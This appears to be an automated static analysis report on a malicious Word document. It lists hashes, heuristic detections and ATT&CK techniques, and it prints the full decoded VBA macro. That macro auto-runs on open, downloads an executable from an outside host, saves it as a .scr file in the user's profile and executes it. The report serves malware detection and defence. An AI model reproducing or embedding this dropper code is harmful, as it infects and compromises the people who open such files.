Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 69bb6e497b8f422c…

MALICIOUS

Office (OLE)

35.0 KB Created: 2014-07-20 18:56:00 Authoring application: Microsoft Office Word First seen: 2014-07-31
MD5: 936079f9db113ad606ca0f743ae52bf4 SHA-1: 49f79246195b5ace79b3aa1fbd970458497b737b SHA-256: 69bb6e497b8f422c4ec7767c4afc897b8b68c272f2fbc7bc1a1ae2635aa72ad2
334 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The VBA macro contains a critical heuristic firing for downloading and executing a file via HTTP. The script explicitly constructs the URL "http://wellingten.de/images/werf.exe" and saves the downloaded content as "%USERPROFILE%\dg34g.scr", which is then executed using the Shell function. This indicates a dropper functionality designed to fetch and run a secondary payload.

Heuristics 12

  • ClamAV: Doc.Dropper.Agent-6412232-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6412232-1
  • VBA macros detected medium 8 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    retval = Shell(dvIZ351 + "\dg34g.scr", vbNormalFocus)
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    .write r08Ll.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Dim X2: Set X2 = CreateObject("Adodb.Stream")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    dvIZ51 = Environ("USERSPROFILE")
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://wellingten.de/images/werf.exe Referenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/mainReferenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 856 bytes
SHA-256: 72ff46efe7d0f4422d627731f8e352070f848726a93b85eb745e5f5753554641
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Auto_Open()
    v45
End Sub
Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub
Sub v45()
Dim dvIZ51 As String
Dim wFEf2cbw As Integer
suka = "http://wellingten.de/images/werf.exe"
Dim X2: Set X2 = CreateObject("Adodb.Stream")
Dim r08Ll: Set r08Ll = CreateObject("Msxml2.XMLHTTP")
dvIZ51 = Environ("USERSPROFILE")
r08Ll.Open "GET", suka, False
r08Ll.Send
With X2
.Type = 1
.Open
.write r08Ll.responseBody
.SaveToFile dvIZ51 & "\dg34g.scr", 2
End With
retval = Shell(dvIZ351 + "\dg34g.scr", vbNormalFocus)
End Sub